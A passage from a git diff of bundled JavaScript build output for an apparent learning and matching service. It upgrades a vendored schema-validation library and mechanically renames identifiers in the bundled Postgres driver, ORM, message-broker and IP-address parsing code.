def.innerType ? s : clone(s, { ...def, innerType: newInner }); + } + case "pipe": { + const newIn = run(def.in); + const newOut = run(def.out); + return newIn === def.in && newOut === def.out ? s : clone(s, { ...def, in: newIn, out: newOut }); + } + case "function": { + const newInput = run(def.input); + const newOutput = run(def.output); + return newInput === def.input && newOutput === def.output ? s : clone(s, { ...def, input: newInput, output: newOutput }); + } + case "lazy": { + const original = def.getter; + const { _cachedInner, ...rest } = def; + return clone(s, { ...rest, getter: () => run(original()) }); + } + // A leaf by choice: `parts` are regex fragments, not data positions. + case "template_literal": + // Leaves. + case "string": + case "number": + case "int": + case "boolean": + case "bigint": + case "symbol": + case "undefined": + case "null": + case "void": + case "never": + case "any": + case "unknown": + case "date": + case "nan": + case "enum": + case "literal": + case "file": + case "transform": + case "custom": + return s; + default: { + kind; + return s; + } + } + } + return run(schema); +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/deep-partial.js +function deepPartial(schema) { + return visit(schema, { + object: (s) => s.partial(), + // Every partialed option now admits `undefined`, which the constructor rejects as a duplicate. + union: (s) => { + const def = s._zod.def; + return def.discriminator === void 0 ? s : union(def.options); + } + }); +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/in-out.js +function withChecks(side, checks) { + if (!checks?.length) + return side; + const def = side._zod.def; + return clone(side, mergeDefs(def, { checks: [...def.checks ?? [], ...checks] }), { parent: true }); +} +function outSide(def) { + return withChecks(def.out, def.checks); +} +function inSide(def) { + return def.in._zod.traits.has("$ZodTransform") ? outSide(def) : def.in; +} +function input(schema) { + return visit(schema, { + pipe: (s) => inSide(s._zod.def), + // A default value belongs to the output side, so a rewritten inner type leaves it stranded. `.default()` widens the declared input type with `undefined`, and `optional` is what carries that across. + default: (s, rewritten) => rewritten ? optional(s._zod.def.innerType) : s, + // A catch value is output-side too, but `.catch()` leaves the declared input type alone, so the inner schema stands on its own. + catch: (s, rewritten) => rewritten ? s._zod.def.innerType : s + }); +} +function output(schema) { + return visit(schema, { + pipe: (s) => outSide(s._zod.def), + // A prefault value is fed through the schema, which makes it input-side, so a rewritten inner type leaves it stranded. + prefault: (s, rewritten) => rewritten ? s._zod.def.innerType : s + }); +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/coerce.js var coerce_exports = {}; __export(coerce_exports, { bigint: () => bigint3, @@ -69235,9 +74436,6 @@ function date4(params) { return _coercedDate(ZodDate, params); } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/external.js -config(en_default()); - // packages/types/src/common.ts var uuidSchema = external_exports.uuid(); var isoTimestampSchema = external_exports.iso.datetime(); @@ -69691,8 +74889,8 @@ var eventEnvelopeSchema = external_exports.object({ trace: traceContextSchema, payload: external_exports.unknown() }); -function parseEvent(input) { - const envelope = eventEnvelopeSchema.parse(input); +function parseEvent(input2) { + const envelope = eventEnvelopeSchema.parse(input2); const payloadSchema = payloads[envelope.event_type]; const payload = payloadSchema.parse(envelope.payload); return { ...envelope, payload }; @@ -70161,7 +75359,7 @@ var Errors = { }; function connection(x, options, socket) { const { host, port } = socket || options; - const error51 = Object.assign( + const error62 = Object.assign( new Error("write " + x + " " + (options.path || host + ":" + port)), { code: x, @@ -70170,29 +75368,29 @@ function connection(x, options, socket) { }, options.path ? {} : { port } ); - Error.captureStackTrace(error51, connection); - return error51; + Error.captureStackTrace(error62, connection); + return error62; } function postgres(x) { - const error51 = new PostgresError(x); - Error.captureStackTrace(error51, postgres); - return error51; + const error62 = new PostgresError(x); + Error.captureStackTrace(error62, postgres); + return error62; } function generic(code, message2) { - const error51 = Object.assign(new Error(code + ": " + message2), { code }); - Error.captureStackTrace(error51, generic); - return error51; + const error62 = Object.assign(new Error(code + ": " + message2), { code }); + Error.captureStackTrace(error62, generic); + return error62; } function notSupported(x) { - const error51 = Object.assign( + const error62 = Object.assign( new Error(x + " (B) is not supported"), { code: "MESSAGE_NOT_SUPPORTED", name: x } ); - Error.captureStackTrace(error51, notSupported); - return error51; + Error.captureStackTrace(error62, notSupported); + return error62; } // node_modules/.pnpm/postgres@3.4.9/node_modules/postgres/src/types.js @@ -70700,10 +75898,10 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose try { x = options.socket ? await Promise.resolve(options.socket(options)) : new net.Socket(); } catch (e) { - error51(e); + error62(e); return; } - x.on("error", error51); + x.on("error", error62); x.on("close", closed); x.on("drain", drain); return x; @@ -70714,8 +75912,8 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose await connect(); socket.once("error", reject); socket.once("close", resolve); - } catch (error52) { - reject(error52); + } catch (error63) { + reject(error63); } } function execute(q) { @@ -70730,9 +75928,9 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose query ? sent.push(q) : (query = q, query.active = true); build(q); return write(toBuffer(q)) && !q.describeFirst && !q.cursorFn && sent.length < max_pipeline && (!q.options.onexecute || q.options.onexecute(connection2)); - } catch (error52) { + } catch (error63) { sent.length === 0 && write(Sync); - errored(error52); + errored(error63); return true; } } @@ -70811,7 +76009,7 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose socket.removeAllListeners(); socket = tls.connect(options2); socket.on("secureConnect", connected); - socket.on("error", error51); + socket.on("error", error62); socket.on("close", closed); socket.on("drain", drain); } @@ -70877,10 +76075,10 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose const s = StartupMessage(); write(s); } catch (err) { - error51(err); + error62(err); } } - function error51(err) { + function error62(err) { if (connection2.queue === queues.connecting && options.host[retries + 1]) return; errored(err); @@ -70912,7 +76110,7 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose function terminate() { terminated = true; if (stream || query || initial || sent.length) - error51(Errors.connection("CONNECTION_DESTROYED", options)); + error62(Errors.connection("CONNECTION_DESTROYED", options)); clearImmediate(nextWriteTimer); if (socket) { socket.removeListener("data", data); @@ -70935,7 +76133,7 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose socket = null; if (initial) return reconnect(); - !hadError && (query || sent.length) && error51(Errors.connection("CONNECTION_CLOSED", options, socket)); + !hadError && (query || sent.length) && error62(Errors.connection("CONNECTION_CLOSED", options, socket)); closedTime = performance2.now(); hadError && options.shared.retries++; delay = (typeof backoff2 === "function" ? backoff2(options.shared.retries) : backoff2) * 1e3; @@ -71249,9 +76447,9 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose errored(Errors.postgres(parseError(x))); } } - function retry(q, error52) { + function retry(q, error63) { delete statements[q.signature]; - q.retried = error52; + q.retried = error63; execute(q); } function NotificationResponse(x) { @@ -71284,9 +76482,9 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose write(chunk2, encoding, callback) { socket.write(bytes_default().d().raw(chunk2).end(), callback); }, - destroy(error52, callback) { - callback(error52); - socket.write(bytes_default().f().str(error52 + bytes_default.N).end()); + destroy(error63, callback) { + callback(error63); + socket.write(bytes_default().f().str(error63 + bytes_default.N).end()); stream = null; }, final(callback) { @@ -71315,9 +76513,9 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose write(chunk2, encoding, callback) { socket.write(bytes_default().d().raw(chunk2).end(), callback); }, - destroy(error52, callback) { - callback(error52); - socket.write(bytes_default().f().str(error52 + bytes_default.N).end()); + destroy(error63, callback) { + callback(error63); + socket.write(bytes_default().f().str(error63 + bytes_default.N).end()); stream = null; }, final(callback) { @@ -71399,15 +76597,15 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose } } function parseError(x) { - const error51 = {}; + const error62 = {}; let start = 5; for (let i = 5; i < x.length - 1; i++) { if (x[i] === 0) { - error51[errorFields[x[start]]] = x.toString("utf8", start + 1, i); + error62[errorFields[x[start]]] = x.toString("utf8", start + 1, i); start = i + 1; } } - return error51; + return error62; } function md5(x) { return crypto2.createHash("md5").update(x).digest("hex"); @@ -71519,10 +76717,10 @@ function Subscribe(postgres2, options) { lsn: Buffer.concat(x.consistent_point.split("/").map((x2) => Buffer.from(("00000000" + x2).slice(-8), "hex"))) }; stream2.on("data", data); - stream2.on("error", error51); + stream2.on("error", error62); stream2.on("close", sql4.close); return { stream: stream2, state: xs.state }; - function error51(e) { + function error62(e) { console.error("Unexpected error during logical streaming - reconnecting", e); } function data(x2) { @@ -71747,7 +76945,7 @@ var src_default = Postgres; function Postgres(a, b2) { const options = parseOptions(a, b2), subscribe = options.no_subscribe || Subscribe(Postgres, { ...options }); let ending = false; - const queries = queue_default(), connecting = queue_default(), reserved = queue_default(), closed = queue_default(), ended = queue_default(), open = queue_default(), busy = queue_default(), full = queue_default(), queues = { connecting, reserved, closed, ended, open, busy, full }; + const queries = queue_default(), connecting = queue_default(), reserved = queue_default(), closed = queue_default(), ended = queue_default(), open2 = queue_default(), busy = queue_default(), full = queue_default(), queues = { connecting, reserved, closed, ended, open: open2, busy, full }; const connections = [...Array(options.max)].map(() => connection_default(options, queues, { onopen, onend, onclose })); const sql3 = Sql(handler); Object.assign(sql3, { @@ -71860,7 +77058,7 @@ function Postgres(a, b2) { } async function reserve() { const queue = queue_default(); - const c = open.length ? open.shift() : await new Promise((resolve, reject) => { + const c = open2.length ? open2.shift() : await new Promise((resolve, reject) => { const query = { reserve: resolve, reject }; queries.push(query); closed.length && connect(closed.shift(), query); @@ -71888,8 +77086,8 @@ function Postgres(a, b2) { scope(connection2, fn), new Promise((_, reject) => connection2.onclose = reject) ]); - } catch (error51) { - throw error51; + } catch (error62) { + throw error62; } async function scope(c, fn2, name) { const sql4 = Sql(handler2); @@ -71933,7 +77131,7 @@ function Postgres(a, b2) { c.queue.remove(c); queue.push(c); c.queue = queue; - queue === open ? c.idleTimer.start() : c.idleTimer.cancel(); + queue === open2 ? c.idleTimer.start() : c.idleTimer.cancel(); return c; } function json3(x) { @@ -71947,8 +77145,8 @@ function Postgres(a, b2) { function handler(query) { if (ending) return query.reject(Errors.connection("CONNECTION_ENDED", options, options)); - if (open.length) - return go(open.shift(), query); + if (open2.length) + return go(open2.shift(), query); if (closed.length) return connect(closed.shift(), query); busy.length ? go(busy.shift(), query) : queries.push(query); @@ -71993,7 +77191,7 @@ function Postgres(a, b2) { } function onopen(c) { if (queries.length === 0) - return move(c, open); + return move(c, open2); let max = Math.ceil(queries.length / (connecting.length + 1)), ready = true; while (ready && queries.length && max-- > 0) { const query = queries.shift(); @@ -72794,8 +77992,8 @@ var PgEnumColumn = class extends PgColumn { return this.enum.enumName; } }; -function pgEnum(enumName, input) { - return Array.isArray(input) ? pgEnumWithSchema(enumName, [...input], void 0) : pgEnumObjectWithSchema(enumName, input, void 0); +function pgEnum(enumName, input2) { + return Array.isArray(input2) ? pgEnumWithSchema(enumName, [...input2], void 0) : pgEnumObjectWithSchema(enumName, input2, void 0); } function pgEnumWithSchema(enumName, values2, schema) { const enumInstance = Object.assign( @@ -73519,16 +78717,16 @@ function mapResultRow(columns, row, joinsNotNullableMap) { } else { decoder2 = field.sql.decoder; } - let node = result2; + let node2 = result2; for (const [pathChunkIndex, pathChunk] of path.entries()) { if (pathChunkIndex < path.length - 1) { - if (!(pathChunk in node)) { - node[pathChunk] = {}; + if (!(pathChunk in node2)) { + node2[pathChunk] = {}; } - node = node[pathChunk]; + node2 = node2[pathChunk]; } else { const rawValue = row[columnIndex]; - const value = node[pathChunk] = rawValue === null ? null : decoder2.mapFromDriverValue(rawValue); + const value = node2[pathChunk] = rawValue === null ? null : decoder2.mapFromDriverValue(rawValue); if (joinsNotNullableMap && is(field, Column) && path.length === 2) { const objectName = path[0]; if (!(objectName in nullifyMap)) { @@ -75243,19 +80441,19 @@ var PrimaryKey = class { }; // node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/casing.js -function toSnakeCase(input) { - const words = input.replace(/['\u2019]/g, "").match(/[\da-z]+|[A-Z]+(?![a-z])|[A-Z][\da-z]+/g) ?? []; +function toSnakeCase(input2) { + const words = input2.replace(/['\u2019]/g, "").match(/[\da-z]+|[A-Z]+(?![a-z])|[A-Z][\da-z]+/g) ?? []; return words.map((word) => word.toLowerCase()).join("_"); } -function toCamelCase(input) { - const words = input.replace(/['\u2019]/g, "").match(/[\da-z]+|[A-Z]+(?![a-z])|[A-Z][\da-z]+/g) ?? []; +function toCamelCase(input2) { + const words = input2.replace(/['\u2019]/g, "").match(/[\da-z]+|[A-Z]+(?![a-z])|[A-Z][\da-z]+/g) ?? []; return words.reduce((acc, word, i) => { const formattedWord = i === 0 ? word.toLowerCase() : `${word[0].toUpperCase()}${word.slice(1)}`; return acc + formattedWord; }, ""); } -function noopCase(input) { - return input; +function noopCase(input2) { + return input2; } var CasingCache = class { static [entityKind] = "CasingCache"; @@ -75790,13 +80988,13 @@ var PgDialect = class { const columnNames = Object.keys(tableColumns).filter( (colName) => set2[colName] !== void 0 || tableColumns[colName]?.onUpdateFn !== void 0 ); - const setSize = columnNames.length; + const setSize2 = columnNames.length; return sql.join(columnNames.flatMap((colName, i) => { const col = tableColumns[colName]; const onUpdateFnResult = col.onUpdateFn?.(); const value = set2[colName] ?? (is(onUpdateFnResult, SQL) ? onUpdateFnResult : sql.param(onUpdateFnResult, col)); const res = sql`${sql.identifier(this.casing.getColumnCasing(col))} = ${value}`; - if (i < setSize - 1) { + if (i < setSize2 - 1) { return [res, sql.raw(", ")]; } return [res]; @@ -79806,8 +85004,8 @@ var MemoryBroker = class { try { await registration.options.handler(envelope, context2); return; - } catch (error51) { - lastError = error51; + } catch (error62) { + lastError = error62; if (attempt < maxRetries) { await this.sleep(backoffDelayMs(attempt)); } @@ -79872,13 +85070,13 @@ function inList(values2) { sql`, ` ); } -function sanitizeError(error51) { +function sanitizeError(error62) { let described; - if (error51 instanceof Error) { - const inner = error51.message.startsWith("Failed query") && error51.cause instanceof Error ? error51.cause : error51; + if (error62 instanceof Error) { + const inner = error62.message.startsWith("Failed query") && error62.cause instanceof Error ? error62.cause : error62; described = `${inner.name}: ${inner.message}`; } else { - described = String(error51); + described = String(error62); } return (described.split("\n")[0] ?? "").replace(/[a-z][a-z0-9+.-]*:\/\/[^\s/@]+@\S+/gi, "[url]").replace(/\beyJ[\w-]+\.[\w-]+\.[\w-]*/g, "[token]").replace(/[\w.+-]+@[\w-]+(?:\.[\w-]+)+/g, "[email]").replace(/[\u0000-\u001f\u007f]/g, " ").trim().slice(0, MAX_ERROR_LENGTH); } @@ -80179,12 +85377,12 @@ var PostgresBroker = class { }, payload: claimed.payload }); - } catch (error51) { + } catch (error62) { this.logger.error( { consumer: claimed.consumer, event_id: claimed.event_id }, "dead-lettering unparseable outbox event" ); - return this.settle(claimed, "dead", `unparseable envelope: ${sanitizeError(error51)}`); + return this.settle(claimed, "dead", `unparseable envelope: ${sanitizeError(error62)}`); } if (claimed.attempts - 1 > this.maxRetriesFor(registration)) { return this.bury( @@ -80197,14 +85395,14 @@ var PostgresBroker = class { if (await this.alreadyProcessed(claimed)) { return await this.complete(claimed); } - } catch (error51) { - return this.retryOrBury(registration, claimed, envelope, error51); + } catch (error62) { + return this.retryOrBury(registration, claimed, envelope, error62); } const context2 = { attempt: claimed.attempts - 1, trace: envelope.trace }; try { await registration.handler(envelope, context2); - } catch (error51) { - return this.retryOrBury(registration, claimed, envelope, error51); + } catch (error62) { + return this.retryOrBury(registration, claimed, envelope, error62); } return this.complete(claimed); } @@ -80237,17 +85435,17 @@ var PostgresBroker = class { ); } return "processed"; - } catch (error51) { + } catch (error62) { this.logger.error( - { err: error51, consumer: claimed.consumer, event_id: claimed.event_id }, + { err: error62, consumer: claimed.consumer, event_id: claimed.event_id }, "failed to record a successful delivery" ); return "failed"; } } - async retryOrBury(registration, claimed, envelope, error51) { + async retryOrBury(registration, claimed, envelope, error62) { const retry = claimed.attempts - 1; - const description = sanitizeError(error51); + const description = sanitizeError(error62); if (retry < this.maxRetriesFor(registration)) { return this.settle(claimed, "failed", description, this.backoffMs(retry)); } @@ -80285,9 +85483,9 @@ var PostgresBroker = class { nextAttemptAt: sql`now() + make_interval(secs => ${delayMs / 1e3}::double precision)`, updatedAt: sql`now()` }).where(this.fence(claimed)); - } catch (error51) { + } catch (error62) { this.logger.error( - { err: error51, consumer: claimed.consumer, event_id: claimed.event_id }, + { err: error62, consumer: claimed.consumer, event_id: claimed.event_id }, "failed to record a failed delivery" ); } @@ -80339,9 +85537,9 @@ var RabbitMqBroker = class { async ensureChannel() { if (this.channel !== null) return this.channel; const connection2 = await import_amqplib.default.connect(this.options.url); - connection2.on("error", (error51) => { + connection2.on("error", (error62) => { this.healthy = false; - this.options.logger.error({ err: error51 }, "rabbitmq connection error"); + this.options.logger.error({ err: error62 }, "rabbitmq connection error"); }); connection2.on("close", () => { this.healthy = false; @@ -80413,9 +85611,9 @@ var RabbitMqBroker = class { let envelope; try { envelope = parseEvent(JSON.parse(message2.content.toString("utf8"))); - } catch (error51) { + } catch (error62) { this.options.logger.error( - { err: error51, consumer: options.consumer }, + { err: error62, consumer: options.consumer }, "discarding unparseable message" ); channel.nack(message2, false, false); @@ -80425,8 +85623,8 @@ var RabbitMqBroker = class { try { await options.handler(envelope, context2); channel.ack(message2); - } catch (error51) { - const errorMessage = error51 instanceof Error ? error51.message : String(error51); + } catch (error62) { + const errorMessage = error62 instanceof Error ? error62.message : String(error62); if (attempt >= maxRetries) { this.options.logger.error( { consumer: options.consumer, event_id: envelope.event_id, attempts: attempt + 1 }, @@ -80770,35 +85968,35 @@ function buildApp(deps) { }); const metrics2 = createMetricsRegistry("learning-service"); registerHttpMetrics(app2, metrics2); - app2.setErrorHandler((error51, request, reply) => { - if (error51 instanceof ZodError) { + app2.setErrorHandler((error62, request, reply) => { + if (error62 instanceof ZodError) { reply.status(400).send({ error: { code: "VALIDATION_ERROR", message: "Request failed validation", request_id: request.id, - details: error51.issues.map((issue2) => ({ path: issue2.path.join("."), message: issue2.message })) + details: error62.issues.map((issue2) => ({ path: issue2.path.join("."), message: issue2.message })) } }); return; } - if (isAppError(error51)) { - reply.status(error51.statusCode).send(error51.toResponse(request.id)); + if (isAppError(error62)) { + reply.status(error62.statusCode).send(error62.toResponse(request.id)); return; } - const fastifyStatus = error51.statusCode; + const fastifyStatus = error62.statusCode; if (fastifyStatus !== void 0 && fastifyStatus >= 400 && fastifyStatus < 500) { reply.status(fastifyStatus).send({ error: { code: STATUS_TO_CODE[fastifyStatus] ?? "VALIDATION_ERROR", - message: error51.message, + message: error62.message, request_id: request.id } }); return; } - request.log.error({ err: error51 }, "unhandled error"); - const appError = toAppError(error51); + request.log.error({ err: error62 }, "unhandled error"); + const appError = toAppError(error62); reply.status(appError.statusCode).send(appError.toResponse(request.id)); }); app2.setNotFoundHandler((request, reply) => { diff --git a/api/matching/index.js b/api/matching/index.js index c28b6d7..81fae7a 100644 --- a/api/matching/index.js +++ b/api/matching/index.js @@ -1540,12 +1540,12 @@ var require_sonic_boom = __commonJS({ throw new Error("flush cb must be a function"); } if (this.destroyed) { - const error51 = new Error("SonicBoom destroyed"); + const error62 = new Error("SonicBoom destroyed"); if (cb) { - cb(error51); + cb(error62); return; } - throw error51; + throw error62; } if (this.minLength <= 0) { cb?.(); @@ -1567,12 +1567,12 @@ var require_sonic_boom = __commonJS({ throw new Error("flush cb must be a function"); } if (this.destroyed) { - const error51 = new Error("SonicBoom destroyed"); + const error62 = new Error("SonicBoom destroyed"); if (cb) { - cb(error51); + cb(error62); return; } - throw error51; + throw error62; } if (this.minLength <= 0) { cb?.(); @@ -2234,11 +2234,11 @@ var require_thread_stream = __commonJS({ write(data) { const dataBuf = Buffer.isBuffer(data) ? data : Buffer.from(data); if (this[kImpl].destroyed) { - error51(this, new Error("the worker has exited")); + error62(this, new Error("the worker has exited")); return false; } if (this[kImpl].ending) { - error51(this, new Error("the worker is ending")); + error62(this, new Error("the worker is ending")); return false; } if (this[kImpl].flushing && this[kImpl].bufLen + dataBuf.length >= MAX_STRING) { @@ -2399,7 +2399,7 @@ var require_thread_stream = __commonJS({ } callbacks.clear(); } - function error51(stream, err) { + function error62(stream, err) { setImmediate(() => { stream.emit("error", err); }); @@ -2412,7 +2412,7 @@ var require_thread_stream = __commonJS({ failPendingFlushCallbacks(stream, err); if (err) { stream[kImpl].errored = err; - error51(stream, err); + error62(stream, err); } if (!stream.worker.exited) { stream.worker.terminate().catch(() => { @@ -4552,16 +4552,16 @@ var require_querystringify = __commonJS({ "use strict"; var has = Object.prototype.hasOwnProperty; var undef; - function decode3(input) { + function decode3(input2) { try { - return decodeURIComponent(input.replace(/\+/g, " ")); + return decodeURIComponent(input2.replace(/\+/g, " ")); } catch (e) { return null; } } - function encode3(input) { + function encode3(input2) { try { - return encodeURIComponent(input); + return encodeURIComponent(input2); } catch (e) { return null; } @@ -10898,8 +10898,8 @@ var require_connection = __commonJS({ var s = stackCapture("closeBecause called: " + reason); this.toClosing(s, k); } - closeWithError(reason, code, error51) { - this.emit("error", error51); + closeWithError(reason, code, error62) { + this.emit("error", error62); this.closeBecause(reason, code); } onSocketError(err) { @@ -11207,8 +11207,8 @@ var require_connection = __commonJS({ return ws; } } - function isFatalError(error51) { - switch (error51 && error51.code) { + function isFatalError(error62) { + switch (error62 && error62.code) { case defs.constants.CONNECTION_FORCED: case defs.constants.REPLY_SUCCESS: return false; @@ -11629,15 +11629,15 @@ var require_channel = __commonJS({ // If we close because there's been an error, we need to distinguish // between what we tell the server (`reason`) and what we report as // the cause in the client (`error`). - closeWithError(id, reason, code, error51) { + closeWithError(id, reason, code, error62) { var self2 = this; this.closeBecause(reason, code, function() { - error51.code = code; + error62.code = code; if (id) { - error51.classId = defs.info(id).classId; - error51.methodId = defs.info(id).methodId; + error62.classId = defs.info(id).classId; + error62.methodId = defs.info(id).methodId; } - self2.emit("error", error51); + self2.emit("error", error62); }); } // A trampolining state machine for message frames on a channel. A @@ -11728,11 +11728,11 @@ var require_channel = __commonJS({ } var emsg = "Channel closed by server: " + closeMsg(f); this.sendImmediately(defs.ChannelCloseOk, {}); - var error51 = new Error(emsg); - error51.code = f.fields.replyCode; - error51.classId = f.fields.classId; - error51.methodId = f.fields.methodId; - this.emit("error", error51); + var error62 = new Error(emsg); + error62.code = f.fields.replyCode; + error62.classId = f.fields.classId; + error62.methodId = f.fields.methodId; + this.emit("error", error62); var s = stackCapture(emsg); this.toClosed(s); return; @@ -13402,9 +13402,9 @@ var require_cors = __commonJS({ addOriginToVaryHeader(reply); } const resolveOriginOption = typeof options.origin === "function" ? resolveOriginWrapper(fastify, options.origin) : (_, cb) => cb(null, options.origin); - resolveOriginOption(req, (error51, resolvedOriginOption) => { - if (error51 !== null) { - return next(error51); + resolveOriginOption(req, (error62, resolvedOriginOption) => { + if (error62 !== null) { + return next(error62); } if (resolvedOriginOption === false) { return next(); @@ -13820,8 +13820,8 @@ var require_ipv4 = __commonJS({ * Address4.fromWildcard('192.168.*.*').subnet; // '/16' * Address4.fromWildcard('*.*.*.*').subnet; // '/0' */ - static fromWildcard(input) { - const groups = input.split("."); + static fromWildcard(input2) { + const groups = input2.split("."); if (groups.length !== constants.GROUPS) { throw new address_error_1.AddressError("Wildcard pattern must have 4 octets"); } @@ -13908,12 +13908,12 @@ var require_ipv4 = __commonJS({ * @returns {String} */ toGroup6() { - const output = []; + const output2 = []; let i; for (i = 0; i < constants.GROUPS; i += 2) { - output.push(`${common.stringToPaddedHex(this.parsedAddress[i])}${common.stringToPaddedHex(this.parsedAddress[i + 1])}`); + output2.push(`${common.stringToPaddedHex(this.parsedAddress[i])}${common.stringToPaddedHex(this.parsedAddress[i + 1])}`); } - return output.join(":"); + return output2.join(":"); } /** * Returns the address as a `bigint` @@ -14629,21 +14629,21 @@ var require_ipv6 = __commonJS({ let host; let port = null; let result; - let error51; + let error62; const stripped = url2.replace(/^[a-z][a-z0-9+.-]*:\/\//i, ""); if (stripped.indexOf("[") !== -1 && stripped.indexOf("]:") !== -1) { - error51 = "failed to parse address with port"; + error62 = "failed to parse address with port"; result = constants6.RE_URL_WITH_PORT.exec(stripped); if (result === null) { - return { error: error51, address: null, port: null }; + return { error: error62, address: null, port: null }; } host = result[1]; port = result[2]; } else { - error51 = "failed to parse address from URL"; + error62 = "failed to parse address from URL"; result = constants6.RE_URL.exec(stripped); if (result === null) { - return { error: error51, address: null, port: null }; + return { error: error62, address: null, port: null }; } host = (_a3 = result[1]) !== null && _a3 !== void 0 ? _a3 : result[2]; } @@ -14659,7 +14659,7 @@ var require_ipv6 = __commonJS({ try { address = new _Address6(host); } catch { - return { error: error51, address: null, port: null }; + return { error: error62, address: null, port: null }; } return { address, port }; } @@ -14706,11 +14706,11 @@ var require_ipv6 = __commonJS({ * Address6.fromWildcard('2001:db8::*').subnet; // '/112' * Address6.fromWildcard('*:*:*:*:*:*:*:*').subnet; // '/0' */ - static fromWildcard(input) { - if (input.includes("%") || input.includes("/")) { + static fromWildcard(input2) { + if (input2.includes("%") || input2.includes("/")) { throw new address_error_1.AddressError("Wildcard pattern must not include a zone or CIDR suffix"); } - const halves = input.split("::"); + const halves = input2.split("::"); if (halves.length > 2) { throw new address_error_1.AddressError("Wildcard pattern cannot contain more than one '::'"); } @@ -14724,7 +14724,7 @@ var require_ipv6 = __commonJS({ } groups = [...left, ...new Array(remaining).fill("0"), ...right]; } else { - groups = input.split(":"); + groups = input2.split(":"); } if (groups.length !== constants6.GROUPS) { throw new address_error_1.AddressError("Wildcard pattern must have 8 groups"); @@ -15695,29 +15695,29 @@ var require_ipv6 = __commonJS({ } assert2(typeof this.elidedGroups === "number"); assert2(typeof this.elisionBegin === "number"); - const output = []; + const output2 = []; const [left, right] = this.addressMinusSuffix.split("::"); if (left.length) { - output.push(...helpers.simpleGroup(left)); + output2.push(...helpers.simpleGroup(left)); } else { - output.push(""); + output2.push(""); } const classes = ["hover-group"]; for (let i = this.elisionBegin; i < this.elisionBegin + this.elidedGroups; i++) { classes.push(`group-${i}`); } - output.push(``); + output2.push(``); if (right.length) { - output.push(...helpers.simpleGroup(right, this.elisionEnd)); + output2.push(...helpers.simpleGroup(right, this.elisionEnd)); } else { - output.push(""); + output2.push(""); } if (this.is4()) { assert2(this.address4 instanceof ipv4_1.Address4); - output.pop(); - output.push(this.address4.groupForV6()); + output2.pop(); + output2.push(this.address4.groupForV6()); } - return output.join(":"); + return output2.join(":"); } // #endregion // #region Regular expressions @@ -15728,36 +15728,36 @@ var require_ipv6 = __commonJS({ * @returns {string} */ regularExpressionString(substringSearch = false) { - let output = []; + let output2 = []; const address6 = new _Address6(this.correctForm()); if (address6.elidedGroups === 0) { - output.push((0, regular_expressions_1.simpleRegularExpression)(address6.parsedAddress)); + output2.push((0, regular_expressions_1.simpleRegularExpression)(address6.parsedAddress)); } else if (address6.elidedGroups === constants6.GROUPS) { - output.push((0, regular_expressions_1.possibleElisions)(constants6.GROUPS)); + output2.push((0, regular_expressions_1.possibleElisions)(constants6.GROUPS)); } else { const halves = address6.address.split("::"); if (halves[0].length) { - output.push((0, regular_expressions_1.simpleRegularExpression)(halves[0].split(":"))); + output2.push((0, regular_expressions_1.simpleRegularExpression)(halves[0].split(":"))); } assert2(typeof address6.elidedGroups === "number"); - output.push((0, regular_expressions_1.possibleElisions)(address6.elidedGroups, halves[0].length !== 0, halves[1].length !== 0)); + output2.push((0, regular_expressions_1.possibleElisions)(address6.elidedGroups, halves[0].length !== 0, halves[1].length !== 0)); if (halves[1].length) { - output.push((0, regular_expressions_1.simpleRegularExpression)(halves[1].split(":"))); + output2.push((0, regular_expressions_1.simpleRegularExpression)(halves[1].split(":"))); } - output = [output.join(":")]; + output2 = [output2.join(":")]; } if (!substringSearch) { - output = [ + output2 = [ "(?=^|", regular_expressions_1.ADDRESS_BOUNDARY, "|[^\\w\\:])(", - ...output, + ...output2, ")(?=[^\\w\\:]|", regular_expressions_1.ADDRESS_BOUNDARY, "|$)" ]; } - return output.join(""); + return output2.join(""); } /** * Generate a regular expression that can be used to find or validate all @@ -16428,7 +16428,7 @@ var require_queue = __commonJS({ empty: noop3, kill, killAndDrain, - error: error51, + error: error62, abort }; return self2; @@ -16571,7 +16571,7 @@ var require_queue = __commonJS({ } self2.drain = noop3; } - function error51(handler) { + function error62(handler) { errorHandler = handler; } } @@ -16839,23 +16839,23 @@ var require_time_tree = __commonJS({ /** * @param {TimeTreeNode} node */ - [kTrackNode](node) { - this.tableId.set(node.id, node); - if (this.tableLabel.has(node.label)) { - this.tableLabel.get(node.label).push(node); + [kTrackNode](node2) { + this.tableId.set(node2.id, node2); + if (this.tableLabel.has(node2.label)) { + this.tableLabel.get(node2.label).push(node2); } else { - this.tableLabel.set(node.label, [node]); + this.tableLabel.set(node2.label, [node2]); } } /** * @param {TimeTreeNode} node */ - [kUntrackNode](node) { - this.tableId.delete(node.id); - const labelNode = this.tableLabel.get(node.label); + [kUntrackNode](node2) { + this.tableId.delete(node2.id); + const labelNode = this.tableLabel.get(node2.label); labelNode.pop(); if (labelNode.length === 0) { - this.tableLabel.delete(node.label); + this.tableLabel.delete(node2.label); } } /** @@ -16930,11 +16930,11 @@ var require_time_tree = __commonJS({ * @param {number|undefined} stop */ stop(nodeId, stop = Date.now()) { - const node = this[kGetNode](nodeId); - if (node) { - node.stop = stop; - node.diff = node.stop - node.start || 0; - this[kUntrackNode](node); + const node2 = this[kGetNode](nodeId); + if (node2) { + node2.stop = stop; + node2.diff = node2.stop - node2.start || 0; + this[kUntrackNode](node2); } } /** @@ -16957,12 +16957,12 @@ var require_time_tree = __commonJS({ result += `${obj.label} ${obj.diff} ms `; for (let i = 0; i < nodesCount; ++i) { - const node = obj.nodes[i]; + const node2 = obj.nodes[i]; const prefix_ = prefix + (i === lastIndex ? " " : "\u2502 "); result += prefix; result += i === lastIndex 